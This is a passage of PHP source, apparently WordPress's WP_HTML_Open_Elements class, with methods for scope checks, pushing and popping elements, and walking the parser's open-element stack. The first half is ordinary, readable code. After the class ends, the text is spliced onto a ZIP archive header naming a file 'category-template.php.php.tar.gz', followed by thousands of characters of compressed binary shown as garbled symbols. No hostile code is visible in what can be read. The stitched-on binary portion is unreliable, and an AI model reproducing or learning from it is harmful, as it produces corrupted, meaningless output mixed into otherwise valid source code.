	 *
	 *     // Is the current node a DIV element?
	 *     $stack->current_node_is( 'DIV' );
	 *
	 *     // Is the current node any element/tag?
	 *     $stack->current_node_is( '#tag' );
	 *
	 * @see WP_HTML_Tag_Processor::get_token_type
	 * @see WP_HTML_Tag_Processor::get_token_name
	 *
	 * @since 6.7.0
	 *
	 * @access private
	 *
	 * @param string $identity Check if the current node has this name or type (depending on what is provided).
	 * @return bool Whether there is a current element that matches the given identity, whether a token name or type.
	 */
	public function current_node_is( string $identity ): bool {
		$current_node = end( $this->stack );
		if ( false === $current_node ) {
			return false;
		}

		$current_node_name = $current_node->node_name;

		return (
			$current_node_name === $identity ||
			( '#doctype' === $identity && 'html' === $current_node_name ) ||
			( '#tag' === $identity && ctype_upper( $current_node_name ) )
		);
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( string $tag_name, $termination_list ): bool {
		foreach ( $this->walk_up() as $node ) {
			$namespaced_name = 'html' === $node->namespace
				? $node->node_name
				: "{$node->namespace} {$node->node_name}";

			if ( $namespaced_name === $tag_name ) {
				return true;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $tag_name &&
				in_array( $namespaced_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( in_array( $namespaced_name, $termination_list, true ) ) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * > The stack of open elements is said to have a particular element in
	 * > scope when it has that element in the specific scope consisting of
	 * > the following element types:
	 * >
	 * >   - applet
	 * >   - caption
	 * >   - html
	 * >   - table
	 * >   - td
	 * >   - th
	 * >   - marquee
	 * >   - object
	 * >   - template
	 * >   - MathML mi
	 * >   - MathML mo
	 * >   - MathML mn
	 * >   - MathML ms
	 * >   - MathML mtext
	 * >   - MathML annotation-xml
	 * >   - SVG foreignObject
	 * >   - SVG desc
	 * >   - SVG title
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full support.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in list item scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - ol in the HTML namespace
	 * >   - ul in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Implemented: no longer throws on every invocation.
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'OL',
				'TEMPLATE',
				'UL',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in button scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - button in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in table scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - html in the HTML namespace
	 * >   - table in the HTML namespace
	 * >   - template in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'HTML',
				'TABLE',
				'TEMPLATE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * This test differs from the others like it, in that its rules are inverted.
	 * Instead of arriving at a match when one of any tag in a termination group
	 * is reached, this one terminates if any other tag is reached.
	 *
	 * > The stack of open elements is said to have a particular element in select scope when it has
	 * > that element in the specific scope consisting of all element types except the following:
	 * >   - optgroup in the HTML namespace
	 * >   - option in the HTML namespace
	 *
	 * @since 6.4.0 Stub implementation (throws).
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether the given element is in SELECT scope.
	 */
	public function has_element_in_select_scope( string $tag_name ): bool {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			if (
				'OPTION' !== $node->node_name &&
				'OPTGROUP' !== $node->node_name
			) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope(): bool {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop(): bool {
		$item = array_pop( $this->stack );
		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until an HTML tag with the given name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $html_tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( string $html_tag_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( 'html' !== $item->namespace ) {
				continue;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $html_tag_name &&
				in_array( $item->node_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( $html_tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( WP_HTML_Token $stack_item ): void {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Accepts $above_this_node to start traversal above a given node, if it exists.
	 *
	 * @param WP_HTML_Token|null $above_this_node Optional. Start traversing above this node,
	 *                                            if provided and if the node exists.
	 */
	public function walk_up( ?WP_HTML_Token $above_this_node = null ) {
		$has_found_node = null === $above_this_node;

		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			$node = $this->stack[ $i ];

			if ( ! $has_found_node ) {
				$has_found_node = $node === $above_this_node;
				continue;
			}

			yield $node;
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( WP_HTML_Token $item ): void {
		$namespaced_name = 'html' === $item->namespace
			? $item->node_name
			: "{$item->namespace} {$item->node_name}";

		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $namespaced_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}

		if ( null !== $this->push_handler ) {
			( $this->push_handler )( $item );
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( WP_HTML_Token $item ): void {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'P':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}

		if ( null !== $this->pop_handler ) {
			( $this->pop_handler )( $item );
		}
	}

	/**
	 * Clear the stack back to a table context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table context, it means
	 * > that the UA must, while the current node is not a table, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TABLE' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table body context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table body context, it
	 * > means that the UA must, while the current node is not a tbody, tfoot, thead, template, or
	 * > html element, pop elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-body-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_body_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TBODY' === $item->node_name ||
				'TFOOT' === $item->node_name ||
				'THEAD' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table row context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table row context, it
	 * > means that the UA must, while the current node is not a tr, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-row-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_row_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TR' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.6.0
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKYO\#f|�44#10/category-template.php.php.tar.gznu�[�����}kw�Ƶh�ڿb��TJ��c'�d)��w�8>��|p�(��D��V�����<� �8M��Gf���޳_�gZ̳��)'��p�����Ѵ�φ��|1��&Y5�uvU�7�u6_���`9]�a����<��?����O�?�ý��<����v��?���:ظ�_�:-��F[��ϣ/a%�?��D��?�b~��|v��e���W�l�_�ceP@��U���W�t�&���E9yYfUEo�Յ�p�k�{@�L�����]�wY]��۬�ͪY�x�����d�P]~�e�*�GuV�GX���U�s�/�w��f�Z�Z�O�Ϟ��T�}@�ʬ^�UAoW�9v�����F�W0���|�/]g't}Q�*�)�����j1�s��=4%���3{��wTO}��jĝ�P�;�ͱ��\���w�߽��gE�;��ۃ֮���,�2֞��$��o����u���z����.��b2"��_��4S�o�*��ɹ���`0�:��$[��2Q�b���8QuUܷ�A<��|"�` �^������%.d:��Y=��@{�E9Ok ���e����2�U���1f�΃���鏖��r �a��"��vrUe
)*]V��z���mZ��
S�^n�I�L��r��"�桪Uq�DIE�<��L�٪̺(F��y���t���˹=����q�Đ�y�=�wK�D�=�����{7J˫���S���߿xr����Q_%��	�Ӥƒcѝ/UR�VW�:T	�H�$wbe;�%v@�:>���G|�ȉ�'�����"{�l�7�᪅ӛ�_8�Է�8�/Xr����N�y���.]d�<�X�U>ɈŸ�R] �TGʐ�'��:�7 �Cl1�X�n����W���,�b�Q|�f��;!�׀-c��8����M3������
!���a q��Ճ�dW!u�W%���(���}�=U�Wz�J*L�Y:�:��	�Z0S�u���:=�mM,��naͦb'�V��B��IIV~�.���p���4u{��6z��VY�B<�)���o���"�.�7�=O��l���|��^��\��5�D�|S�ؚ�E������EJ�B@M��q���4�Ń��O&����y>�$a�0�9l��|�ؠ_E�t�3<�����t��݌.yBz*	ZE>�~���bљx�EJ�c�^3��#Jj3�۷�aO�f�߶$U�.nFϞ�l��p�@�W�@�(f[�y�"�CO����\5�[:�'_k��9��o�;�/����Q\&�R%N�گ�B�xHRd�"����Ne9	1ߜ��s-WXf�ۚY��f��Lg��&�P����o���g��H��W�=O���5�#��O}	�ʐ(�;k��KM�_So縈��:+/W�>�gd5h�W�����7A�]����bp[�jV\�3D���ƨv�x���X���k�],�@2֢)
�N�r[�+��"���lA�BJ��uc��>}CQ���2K����z`�ӅZ1L��
G<@��)[�l��w�!7��l���Y����H��[��F�b�2���'s�/g0�%�7[��`ݰ�t-G1�dQ5���Ysl"���}��G1��IͭcfZJ��ld�f��Ϙ��U���ݦ�;�##�����YfB@���
͡��hѐ� 
J��dt@*@��V-���39���8�$t�b�.2�Q��*�MpM�g^���@R��������d�;��G�:PG��8�����!��F�$��u!���n�|�C���"2�?�F#x������$�.wa�n��p�Gb+�S��|��Bn6Z�ĬI�[M	u�RQ��;��B��{�}�f1=��X2-֛�(�h5S�h(�;��n�wN����r����|�;?.~����q���k�,�.f�;���wưQFH/y4B��z����S��
{c���{G����Q��evy+0PY5��Y�Ӑ�B*}�抁Jv�%�_'�#���az�h���\��9�����_��A7�~�5hڊ:�V���I3�_m�n��8�
r�f��p ź���EZ��HAe�F�\��}��H�Z�ߌ>�U�s'�(����ty�O�͏�4�ȍ7�|v#�II��*��h<f�J=o@�� _��@q��Cҽ[����E���U˺%Ϙ��i�
d13U��3h<�fcPz�ˈD�.0�r�D~���Q�y���cl]^Wi�@y<&�'J#d�'�UE2t5PF�C��pr���+D4R�ɚ~�us��/˼ �����d�6f��o΃�@�'�i�Z.��֞%	�sQ��a%Z�m�q��Mh\h�-��!�[��*#����֞�a�	#��ʋ��<'5 =&���	 ������r›eY���
�\#�����%��P��-c����|�q�]�*���A0ص��"�ڴ����p8�oV��0��Q-�NY�WCT
/�*��S,&9[.�16`H��^�Sx���dz���)u�iA}=�(�7k|�0��G�s:�S4�7ݿﴡ�|}��ً
`������t�O�Y~��<4˚�B#�b5����eAlY?44��ل^jM��ma�!g�)H6mj=sv!�r̟Z���#�ݺaR�=�7'OӪ�	��>�M�Y�[=	�[I�ӭ���ѭ��xZ�7�:`[��& ��9�AWl���n�;�un_[�!Y�<&}��vs1�cvD�@�����|�R6�`�J;c8��IY,'�"*=;�+��Y���i>Ng�2!}u
o�d��+��,9���6+Km�F��c*@�3�xcG-s�fQvs)��U��&�I�_��\6Aa�ق;�+S'?9`����`�E��!--ϰ�g��,&��qJP�����܃�}�Vf_�e�R�3l�Q'-�T��E6��9o�\.�3
��l8�C}NQ4F��GpE���E2ġ}B�l�Q��3c���*+oG#���j\������(��@H1�QJ��<�	3*|�B�`ԴM��QA�!V(u��TKV�-b)���a<�;ش�
ԝ�,�[6#Z��7�WG�]#�;�7�����m�����=?Y���j�0�ረ$֔�y%BM�b�2���A�6���"���I�zZ��F�C��h��Pm�[6=�.s��F$��o���H@-�i�х��c��;N48�{$
@��#�è
�o1o�����m�{Do�#������i}��i�f�l�v}m��^g����}]���h�n���T����y8�Bj+����ӟ�j��`��b�/&�O��iz���1N1�;.l!�p	�@�C��y�	�u���e���Z+�
����6����٫��"����YA�������_��u��
l3E�#p���抴+��a�:��gZ�ƣ�:�� D3pBv1h�a��"�M���e�\��=A��z
�`�T	Ή�8�v��:T��P�"��o�*�5���X-�/�O4x�����-�r�PhsH:��D�\v-����ʻ� ��Z�O�l���V� ���������K�] *�~�ڎ'��J	���rc�7.3D6��T����&�E#z�6��R�#n��ܶ��`
��եb<��K��t�&+M���/�3�чz����P&�U�\Ձh�u8!����펌�Ԩ�h�KQw��-�	7"������G�в�C�M�h5t��J�vx�h�]�G�MTh��_/G��\T�C���r�z�u<�p|�v��#�����D?"C��o���WOl�R�}#�@s%�ݣo ��&��2��r��'��.q�(���q@͆�)�o,�4��	}�'�W�!����M��� (ĭ[�-�}�;J�g��f��p��b��a�)�ɘ}�3��'��ibǺd/\!q
�h1�������+k2�p*���V�j��E��Zq��p��+�a�:Yuv�՚T^'�=<p�?`|m=���e�t�H>E#!Mǝj	^_R�;�OP�XT34LV��ޡ�!�3�����}|e6]��{�ݰI��v+���~
���?���gf�d��mT%y4.&ىl�ѐ^%~���Mi,��P܀�(�z�R�W͜m��x��n
m1w�#����hGГ6�ʫ�-l��X|�DKn�ӏ,
� ���zI��GFl�Jz��3/t�ƫ�l{��՝5�z���WG�d�4��N���ّWr�tN�O28�'�:�Vw�j�?�2?��e~���Y�4ӇS���fD�݄!��4�+��W^��k���"'��)�8#��P�)�.�ܨk�ř���V
W)G��e+��L�:xDѧZ�!Y^{Ʊ����a:��3[o-}X
�L0���]�N�� ��d�!w�3<�QW��.���Z��7N�q���O�Oܓ9"6�eLb��1['?.v�>�}z�#��݀�����$R ;S�8-G2�P��)lΘn,��^@U��cЁ��5;��V�L4ż�� L��@^]�HS�m��x��@w�'��͛�9ؾj��}�$��Ŋ��Jk���y\|9P?nK��#@1izO���

�Z��ϳ
��wA³vꅜ��E�D*�e�T��%hTK��p��n�����oN8Uڵڅ]}]p$��>^?�V�+���!4�[d��8w���F�
������;�kb%[G�hsf�~��w^���<�ON�����䀥���^щ�(��&|G��;�ō��Ab{r7X*Z�u+a9د��
���ͫ�7�ۅ���
�"�jY�M�.TT,�����Z�ّ��h��aw0k���~���;�*_�H'�xy=0~�F�`˗�2�<��k��?����2pY
����Xqdն�0���9�ܕ�A�!$L!"����Ʀ�lv�G�ԗaBJ	vD".ܜ�1L"Ë� �	�A��r�0����Ȋ�p„:�g�I�8�qC.�4�Qh����jP����p
1�ўi���`����aL�o�{&��%!u��!�O��������-�8l&�g1�.Ť���X8��Dl�W�BMIW�����\x�4}�4<��9�`T&�h�'�]�'s�����#�����9�_k��N���m=���^||6��˸b[~h6���e:�\6�Dj���Ami����z�yn���O��t���M�ϩm}ā�s��>O�(��N;�y#��Cku`�ӱ ��,p�Y��ھ��蔗r���� }��2�a.h˄7�(�Q�LZ�|�i�Em��$��Mn>+ �R�CZ�Ywh�e��1W�x���v���j�(���i>��<��'�)�D#�I?����F���܈��<>9�Ѩ@~\l�;׮Q��w�a3D�"����U==�Ԩ�#�(5a�H�����#�=�{����TÓ�{�+�M��*�
���U���:�si�~�5����;V���[�G�����fn��T�/Fو/D}�q��Dg�p�n��a�/L���ڀ�f٥Y��,�X?߾U1��n+��Q�@!'甼U�
��s��A8�Dq��	��L�o&�y�����s>��h���I�S1��i����xҊ�>�i�@�:H��qV&�!׻m|
>�2�V�.�F�!�q�F�9��8^Hz��I@ާ���@�u<�<���r�j/�ckV�kj/H�3sp$؆q4���꣉�5�!�Z�q+"r%���1<i~F��#B�I�I�g
��֎D�G����P}B��� �(��%t<����/�囶`%�B��5QT��6����3�Hc�-�%�'�c�|X��~�h8fN2�d?�-�.�EC'�C`��RN�R�Am�lTk`�� jߌ��S�Evո�ݣSgm�QHL�W��n)�9����^��߰�_�+A/:�{�q�V>9�(��w���ш�J�6Ǻ)&,��O��KR�akY�6"���*��D���v��i<�����5r��o���Ғ�Wg:�]d™A��$@�V0�t"^�`ׁ�r��k�u�8���A�6��c;�������d36q6�5s��D9G�$t`?���>��i4I�t\�+�ѓ`�d>,Q�c�)�40�a:�]S��,��A�up-��	9S����|^d؟�*i�O}�~K�w�������1�&��.��b|�Y��s@/����$��+΄eƒde�6�l�X��G���o�Njw$_��A]�C�./
-�_�􂭆y�r�����ⲕ�LC�WB�%\}�+��It�N��J�z�h���c��y�1
q��%�l��P|��e�1�]�EZ5�E�n��k6�]�ł��a��X�d/���i�̂I(�[�G��k/&�\�0��<��m�.o
�~3�q�(�����*,�%��~o��9�lmG�-î�ay
�N˲a�:'��_Q����$2x{C�shQ���h���,��qY"��]��]�u�u�>�?�>@�ɇ�#�U�ȿ��b3J�M�-Ečp�u�����]�(��.t��QJ$Jƌ�Yy#=~�C��!��{�k��r�G�
"�:/c�����mc_�?|���/����vϊ�͵�-���Yx���F9(��ٌҙ%�r��U�Eg���M��(�P�	2�|�fl�j�'d�|nd�%�[Q�3�;7�]���݄Bܵ��i�[���
�m)N���<�k�(�8��9n)�C	b""����n� �0Q�
��"��(t�c��~<���G#_� ��[����p���3,RNgu^�u�a�?��7��9k�q����K歇����@QNԅS�o]��&y�!!%4���<�����w��V�t�����i~5��:=cII�l9��Z;}��`bGY�l$`��_����x�Gl����p�Mf.�Ǭ���
�AƊ��27��N���o�����׻�o�'�9�d�D��_�n?K����à�eơ�І��K2
��w�ӳs�U���~�W�AU�_޿Ϧ�En��t�Sr�P�����Z1*}93GJ�����i��}�4�{�q�;p�j�ފ���-QR�mί�L�WKU��a�Ӑ}ig���[�#�'�|hi�$ɑ��_v5�$�%���_���EO!�}�N���.X���%�~CK�n�yA�~/m{Z�����^���!�s�f~��*-���%~87XԻ�`����)}ƭ�6txb���`hv���Xm�N�6����`�'�M�s���gҭ�dg�����Q� 7*/�zV���EXx�0���<bx�-?��'ƣ�5k
��M�TugN-�[s�f8�}�����1ҽ�ו����t;�A�6�":l��	���=t�j ��syʂ�y%�w�a�|��M��<s�Cv������+I^Xю�Rz���yy#��+h���;�f�#���v��cjJ&���%�=�Yqu����E?Q��<�����/�7��z�.�8*ݦ]����bR�'�|9mĦP���i�Z4�ۨ�V�4�m���W�S�e,׫I�sk�Cd����N����F&���+��@LD��E�J/S<<�}���>�1��]�|�ԈQ,ՓW�(��-��nL'�~�z�:�rt3�����؄ܿ���K�@3q`mbH3�s�c��.��1krns26sq}�)A��C���x��4�D�׷�f�}��׷��6��ܓ{��OA��t�8k&��a���L��x ���ؤʅt/nE�<�{�v)�gn36��m����|��z<ؚ���L|�zr=�"t�>�[d� <d�T��j���0Z_ې�ρӤ3��9!`|-��t�>�r�%��>�{�F�P��fTzy��4W���}�.�h��8X��]O�];?�D�^J�Cx��a�Z��CM�w�_<E�VY��j5�Αl:���t�ǹ(i��oc{'��cU�c�zm�ZQ�(��6v�$Jt�E��]�V%�S���8��b��#�Y�J�b���	�S<�tm�4��Ύ�Ƒ�����4ae�Ed�m��u���LQ�$�o?��#p����>s����H�`���/�'fg��"�
]�b�R�d�s���C;�Z��6v���9#�"v�H��4R�a���I#%�f�ĸ5VҚUC�#EF�Y�K��T�v�V��Q���[��^{��?��0�ZKM��c&u|��*0�vX`�C�WWW�L�Z��4�8����eV��k}�3
���3�e#�8������ 8*^ޭ���禿t�.�"%��2t�E�gW�B{�e���&�UX#r��e>�Ξ�7Lq�1��W�S��2�N��>�f�W����|P��*���A��Y�A}G�Ő?�1(`n� �3�2X�=��V�I��d�Ỏ�8��@�r�W�9����l����{_,/��+����W��<�1��̼�o^�%�W7Z�U��Z�u��%���v�P.̔���粯IQgop�D�)�i��~�ŢnH�f�1:A%-�N7iX���w�x�Z�u�x�s���g�3��:�i�G�o_o�7|M�m�u�o���?:>���g���SIؤ��:j�k�J00��-�����K�}s�!?$}�?�Qߤ1I�M�:�v9�n^̧zˢ�)�)��$���h�ɵ��tW�M�6l��:u"G�R�c��g:�k���&���쨫ņ��]�5�Uۧ�.{Zao��3l[����egxZ<��
��,;��FE{C���E�A�$��k\�e"�y�d7���,��}���Һ�5�(�����F�h�#��{ ���%h7�9�H���m<4�λl��ۜ�?��j_����M�G�nE�cu�]��|d���V
����Jqf�˪�\>D��:[b+�����%9�6������S��^;��_(JX�Ou�="���k���i��CԠ���y�V�K1
f�"���mv��6P�LqsP�\�a/y��U�a���~<]�⊯b(�[6��)t��g�Q�����*dA�%�E�	mB]�34,;�޹Jz=S�z#�_Y
1��}YHd��I|�0��¤�z�!PiL͟�s|�ZY�ݎ��]e��y�3��}$⫄��Jy�\�Ue��ݒ\���o%��uQ�����o7�����Wev�����뿪���
Y�H�4�w@2�KJj�4䑁��1�IsB#�`�aD3�+��>A��K�Y�
��W8���]��qHu�`ɮ������Dر8{�&�(&DL�n���j;о���ko҈�� ���"]�١
��@+�:�7�9VpA6���ϤI(r��^RXGNt�*gIX���XYN�5���X�A�Ep�DBy��9�V]�
�q/��+�
�e�)%[J8�\���B����vf]���n*Ը�.L@D[�42����	<9�L�D�\csUR6,C����6Q��D"!Z��C{������m=�[`�\�����.އ���֣g84?��I����Z®�-�ɢ;�,4k��*�{���'�m�Mg���	6t��H-"��1��t0�*���=8-��C��j����ٸ�6����lZ�H�
e(7h0zp{��|N��>�ó�H��)^,�z���˧��1��9�Ex�CW^h��Sx�����}$�C����h�ㇻ��ǟ�V�[�/FGw��u�ۙ�>C�&�ufkid�����������a�WCCs��5	�	=Ҹ _�<D��\[֖�%h�i���a��e�Uf����y�5H���-�,y����"�%P
3n���G�A!U]��5IT�*�W�%�R�;�S�b�`֖%k:X�aaF�v�`Gge�JS�	vp�/�w���@}���U��l��t
